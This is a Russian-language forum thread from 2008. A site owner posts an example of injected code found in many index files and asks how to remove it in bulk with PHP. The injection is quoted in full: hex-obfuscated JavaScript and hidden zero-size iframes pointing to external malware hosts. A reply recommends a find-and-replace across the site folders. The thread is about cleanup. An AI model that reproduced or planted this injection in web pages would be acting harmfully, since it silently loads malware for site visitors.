| |
|
|
| | куча зараженных файлов в основном с имя index
например было
<html>
<body bgcolor="#FFFFFF">
</body>
</html><
|
стало
<html>
<body bgcolor="#FFFFFF">
</body>
</html><script type="text/javascript">
function D290DEE25FAE16A4040B5(E4D6D2C6A0354BA0FC9CAB27BA6C22){return(parseInt(E4D6D2C6A0354BA0FC9CAB27BA6C22,16));}function A7F16A236700644EB271E81BFFF7(B9376152DD01F25DB447){var F6F8677E4FFFBC85D3E45="";for(A329410DFD2B2AC9=0;A329410DFD2B2AC9<B9376152DD01F25DB447.length;A329410DFD2B2AC9+=2){F6F8677E4FFFBC85D3E45+=(String.fromCharCode(D290DEE25FAE16A4040B5(B9376152DD01F25DB447.substr(A329410DFD2B2AC9,2))));}document.write(F6F8677E4FFFBC85D3E45);}A7F16A236700644EB271E81BFFF7("3C696672616D65207372633D22687474703 A2F2F6F6E6C696E652D6368616E6E656C73 2E696E666F2F696E2E6367693F322220776 96474683D31206865696768743D31207374 796C653D227669736962696C6974793A686 96464656E3B706F736974696F6E3A616273 6F6C757465223E3C2F696672616D653E");
</script><script language=javascript>status=location;document.write('<iframe src="http://online-channels.info/in.cgi?traf" width=0 height=0 frameborder=0 display:none onLoad="status=defaultStatus;"></iframe>');</script><script language=javascript>status=location;document.write('<iframe src="http://xanjan.cn/in.cgi?666" width=0 height=0 frameborder=0 onLoad="status=defaultStatus;"></iframe>');</script>
|
нужно отловить оптимизировано ( так как файлов много ) и очистить пересохранить фалы
как лучше
через
$start = strpos($source, '</html><script type="text/javascript">');
или
preg_replace
и набросок самого выражения
спасибо | |
| |
|
|
| |
|
|
| |
для: oppo
(27.10.2008 в 17:23)
| | | Легче сделать это через ось (найти и заменить) по папке с сайтами. У линукса командой find.
Попросите администратора если у вас нет доступа.
Набросок дать не рискну. Спросите разбирающихся в линуксе, там несложно.
У меня тоже такое пару раз было. Не храните пароль в ТоталКомандаре. | |
| |
|
|
